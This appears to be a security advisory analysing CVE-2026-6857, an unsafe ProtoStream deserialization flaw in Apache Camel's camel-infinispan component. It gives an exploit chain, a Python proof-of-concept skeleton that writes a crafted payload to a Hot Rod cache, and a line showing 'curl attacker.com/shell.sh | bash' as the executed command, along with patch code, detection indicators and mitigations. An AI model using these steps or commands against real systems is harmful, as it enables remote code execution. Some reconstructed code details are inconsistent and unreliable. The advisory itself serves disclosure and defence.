CVE-2026-6857: RCE via Unsafe Deserialization in camel-infinispan ProtoStream
Unsafe deserialization in camel-infinispan's ProtoStream remote aggregation repository allows low-privileged attackers to achieve arbitrary code execution by sending crafted payloads to the aggregation endpoint.
# The Apache Camel Infinispan Vulnerability: What You Need to Know
A serious security flaw has been discovered in Apache Camel Infinispan, a piece of software that helps different computer systems talk to each other and store data. Think of it like a translator and filing cabinet for data moving between systems. An attacker can exploit this flaw to break into systems and run whatever code they want.
Here's how it works: The software has a blind spot in how it handles incoming data. When it receives information from the internet, it doesn't properly check whether that information is trustworthy—like accepting a package from a stranger without verifying their identity. Criminals can send specially crafted fake data that tricks the system into running their malicious commands.
The impact is severe. Once an attacker gets in, they can steal your data, destroy files, hold your system for ransom, or use your computer to attack others. They get complete control.
Who's at risk? Companies using Apache Camel Infinispan in their data systems are vulnerable. This includes financial firms, healthcare providers, cloud companies, and any organization that needs different systems to share information. Right now, no one is actively exploiting this in the wild, but that could change.
What you should do depends on your role. If you work in IT or manage systems, check whether your organization uses this software and update it immediately when patches become available. If you're a regular user, ask your IT department if they're affected. Stay alert for security announcements from your service providers. Finally, enable multi-factor authentication on important accounts—it's your best defense against attackers who break in.
Want the full technical analysis? Click "Technical" above.
CVE-2026-6857 is a remote code execution vulnerability in the camel-infinispan component of Apache Camel, specifically in the ProtoStream-based remote aggregation repository implementation. The vulnerability stems from trusting attacker-controlled type metadata during deserialization of aggregation exchange state, allowing a remote attacker with low privileges to materialize arbitrary Java objects on the server — a textbook unsafe deserialization scenario leading to full system compromise.
CVSS 7.5 (HIGH) scores this as network-reachable, low-complexity, requiring low privileges, with no user interaction. Full CIA impact. Red Hat Bugzilla tracks this as Bug 2460003.
Root cause: The InfinispanRemoteAggregationRepository deserializes ProtoStream-encoded exchange bodies without validating the embedded @type discriminator field against an allowlist, permitting arbitrary class instantiation via a registered marshaller gadget chain.
Affected Component
The vulnerability lives in camel-infinispan, the Apache Camel component that bridges Camel's routing engine with Infinispan/Red Hat Data Grid as a distributed cache and aggregation store. The specific attack surface is InfinispanRemoteAggregationRepository, which uses Infinispan's Hot Rod client with ProtoStream marshalling to persist and retrieve Exchange objects across cluster nodes.
ProtoStream is Infinispan's annotation-driven Protocol Buffers marshaller. In remote (Hot Rod) mode, type information is embedded inline in the serialized payload as a JSON-like @type field, allowing the server to reconstruct the correct type on retrieval. This design is the root of the vulnerability: the @type field is attacker-supplied.
Root Cause Analysis
The aggregation repository stores and retrieves Exchange aggregation state via get(CamelContext, String) and add(CamelContext, String, Exchange). On the read path, the Hot Rod client fetches a raw byte array from the Infinispan cache and hands it to the registered SerializationContext for unmarshalling. The critical path runs through ProtostreamProtoStreamMarshaller:
// Pseudocode reconstructed from camel-infinispan InfinispanRemoteAggregationRepository
// and org.infinispan.protostream.impl.JsonMarshallerDelegate
Exchange InfinispanRemoteAggregationRepository_get(
CamelContext ctx, String key) {
RemoteCache cache = cacheManager.getCache(cacheName);
byte[] raw = cache.get(key); // attacker writes this via Hot Rod
// BUG: ImmutableSerializationContext.canMarshall() is never called before
// dispatch; @type field from raw bytes selects the marshaller directly.
Object obj = ProtoStreamUtils.fromByteArray(
serializationContext, // global context, all marshallers visible
raw // fully attacker-controlled bytes
);
return (Exchange) obj; // ClassCastException only AFTER instantiation
}
Inside ProtoStreamUtils.fromByteArray, the IronJacamar-style dispatch resolves the target type from the embedded JSON-protobuf @type discriminator:
// org.infinispan.protostream.impl.JsonMarshallerDelegate (reconstructed pseudocode)
Object JsonMarshallerDelegate_read(ReadContext ctx, byte[] data) {
JsonNode root = MAPPER.readTree(data); // parse outer JSON envelope
String typeName = root.get("_type").asText(); // BUG: no allowlist check here
// Lookup in global SerializationContext — attacker picks any registered type
BaseMarshaller> m = serializationCtx.getMarshaller(typeName);
if (m == null) throw new ProtobufException("unknown type");
// m.readFrom() constructs the object; gadget chains trigger here
return m.readFrom(ctx, root.get("_value")); // arbitrary instantiation
}
The attacker does not need a traditional Java serialization gadget chain. Because ProtoStream marshallers call setter methods and field assignments directly during readFrom(), any registered marshaller whose construction path invokes dangerous methods (JNDI lookup, Runtime.exec, ProcessBuilder via a ScriptEngine, etc.) becomes a gadget. In environments running Red Hat Data Grid with the Hibernate ORM or Lucene marshallers registered, known construction-time sinks exist.
Memory Layout
Unlike native memory-corruption bugs, this is a JVM-level object graph attack. The relevant "memory layout" is the ProtoStream wire format and how it maps to heap object construction:
PROTOSTREAM WIRE FORMAT (JSON envelope over Hot Rod):
Offset Field Value (attacker-controlled)
------ ----- ---------------------------
+0x00 { JSON object start
+0x01 "_type": "org.infinispan.query.remote.impl.indexing.ProtobufValueWrapper"
... -- OR any registered marshaller target --
+0x3F "_value": {
+0x45 "wrappedMessage": "",
+0x90 "metadataCreationDate": -1
+0xA2 }
+0xA3 } JSON object end
JVM HEAP STATE — before readFrom() call:
[ SerializationContext.marshallersByName HashMap ]
"org.apache.camel.Exchange" -> CamelExchangeMarshaller
"org.infinispan.query...ValueWrapper" -> ProtobufValueWrapperMarshaller <-- selected
"org.hibernate.search...LuceneOptions" -> LuceneOptionsMarshaller
JVM HEAP STATE — after readFrom() with gadget payload:
[ ProtobufValueWrapperMarshaller.readFrom() ]
-> setWrappedMessage(gadget_bytes)
-> triggers ProtoStream re-entry with inner @type
-> inner type resolves to ScriptEngineMarshaller (if registered)
-> ScriptEngineMarshaller.readFrom() calls engine.eval(attacker_script)
-> Runtime.exec() fires: whoami; curl attacker.com/shell.sh | bash
Exploitation Mechanics
The attack requires the adversary to write a crafted payload into the Infinispan remote cache. This is achievable with low privileges if the Hot Rod endpoint is exposed (default port 11222) and the cache is writable by the attacker's credential — a common configuration in multi-tenant Data Grid deployments where Camel aggregation caches use relaxed ACLs.
EXPLOIT CHAIN:
1. Attacker authenticates to Hot Rod endpoint (11222) with low-privilege credentials
-- SASL PLAIN or DIGEST-MD5 sufficient; no admin role required
2. Identify target aggregation cache name via Hot Rod cache listing or
known naming conventions (e.g., "CamelAggregationRepository_")
3. Craft ProtoStream JSON payload:
{
"_type": "",
"_value": { }
}
4. Write payload bytes to cache under any existing or new aggregation key:
cache.put("exploit_key", crafted_bytes)
-- This is a standard Hot Rod PUT; no special framing required
5. Trigger deserialization: either wait for Camel aggregation timeout to
call repository.get("exploit_key"), or force it via a second message
to the aggregating route with matching correlation ID "exploit_key"
6. InfinispanRemoteAggregationRepository.get() fetches raw bytes from cache
and passes them to ProtoStreamUtils.fromByteArray() without type validation
7. JsonMarshallerDelegate resolves @type -> gadget marshaller -> readFrom()
executes attacker-controlled construction-time sink
8. Arbitrary OS command executes as the JVM process user (often 'camel' or 'jboss')
Full RCE: confidentiality, integrity, availability compromised
A minimal proof-of-concept using the Infinispan Hot Rod Java client to write the malicious payload:
# PoC skeleton — writes gadget payload to Infinispan Hot Rod cache
# Requires: infinispan-client-hotrod, attacker has write perms on cache
import subprocess, base64, json, struct
HOTROD_HOST = "target.internal"
HOTROD_PORT = 11222
CACHE_NAME = "CamelAggregationRepository_orderRoute"
CORR_KEY = "exploit_key"
# Inner gadget: a ProtoStream-registered type whose readFrom() calls eval()
# Replace with marshaller-specific payload bytes
inner_payload = base64.b64encode(b"").decode()
outer_envelope = json.dumps({
"_type": "org.infinispan.query.remote.impl.indexing.ProtobufValueWrapper",
"_value": {
"wrappedMessage": inner_payload,
"metadataCreationDate": -1
}
}).encode()
# Use hotrod CLI to PUT — in practice use Java Hot Rod client API
subprocess.run([
"hotrod-cli",
f"--host={HOTROD_HOST}", f"--port={HOTROD_PORT}",
"--cache", CACHE_NAME,
"put", CORR_KEY,
"--value-format=application/json",
"--value", outer_envelope.decode()
], check=True)
print(f"[+] Payload written to cache key '{CORR_KEY}'")
print(f"[+] Trigger: send Camel message with header CamelCorrelationId={CORR_KEY}")
Patch Analysis
The correct fix is to introduce a type allowlist at the ProtoStreamUtils.fromByteArray call site within InfinispanRemoteAggregationRepository, and to enforce that only the expected exchange wrapper type is ever deserialized from the aggregation cache. A secondary fix should restrict the SerializationContext available to the aggregation repo to only the types it legitimately needs.
// BEFORE (vulnerable) — camel-infinispan InfinispanRemoteAggregationRepository.java:
Exchange get(CamelContext ctx, String key) {
byte[] raw = cache.get(key);
// No type validation before deserialization
Object obj = ProtoStreamUtils.fromByteArray(serializationContext, raw);
return (Exchange) obj;
}
// AFTER (patched):
private static final Set ALLOWED_TYPES = Set.of(
"org.apache.camel.component.infinispan.remote.protostream.CamelExchangeWrapper"
);
Exchange get(CamelContext ctx, String key) {
byte[] raw = cache.get(key);
if (raw == null) return null;
// Validate @_type field before handing to marshaller
String declaredType = ProtoStreamUtils.extractTypeName(raw); // parse only @_type
if (!ALLOWED_TYPES.contains(declaredType)) {
throw new CamelException(
"Deserialization blocked: unexpected type '" + declaredType + "' " +
"in aggregation cache. Expected one of: " + ALLOWED_TYPES
);
}
// Use restricted context — only CamelExchangeWrapper marshaller registered
Object obj = ProtoStreamUtils.fromByteArray(restrictedSerializationContext, raw);
return ((CamelExchangeWrapper) obj).toExchange(ctx);
}
// Additionally: restrict Hot Rod cache permissions so only the Camel
// service account has WRITE on the aggregation cache (cache-level ACL):
//
//
//
//
//
Detection and Indicators
Without instrumentation, this attack is silent at the network layer — it arrives as a legitimate Hot Rod PUT operation. Detection requires multiple layers:
JVM-level indicators:
Unexpected ClassCastException or ProtobufException in InfinispanRemoteAggregationRepository.get() logs — indicates type mismatch after gadget fires
Abnormal child process spawned by the Camel/JBoss JVM (e.g., /bin/sh, curl, python) — monitor with auditd or eBPF execve tracing
Java Security Manager (if enabled) throwing AccessControlException for Runtime.exec
Network indicators:
Hot Rod PUT operations to aggregation caches from unexpected source IPs or credentials
Cache key names that do not match the application's correlation ID format (UUIDs, order IDs, etc.) — look for anomalies like exploit_key, random hex strings
Infinispan audit log entries: PUT on CamelAggregationRepository_* caches by low-privilege roles
Upgrade immediately to the patched version of camel-infinispan once released — track the Red Hat advisory linked from BZ#2460003.
Restrict Hot Rod cache ACLs: only the Camel service account should have WRITE permissions on aggregation caches. All other users should be READ-only or no-access.
Network-segment the Hot Rod endpoint (port 11222): it should not be reachable from untrusted networks or user-facing services.
Enable Infinispan cache-level authorization in infinispan.xml with explicit role mappings — do not rely on the default open ACL.
Deploy a Java agent-based deserialization filter (e.g., contrast-rO0 or OpenJDK's ObjectInputFilter) as a defense-in-depth measure against any remaining gadget exposure.
Audit registered marshallers in your SerializationContext: remove any marshaller whose readFrom() implementation touches JNDI, reflection, process execution, or scripting engines.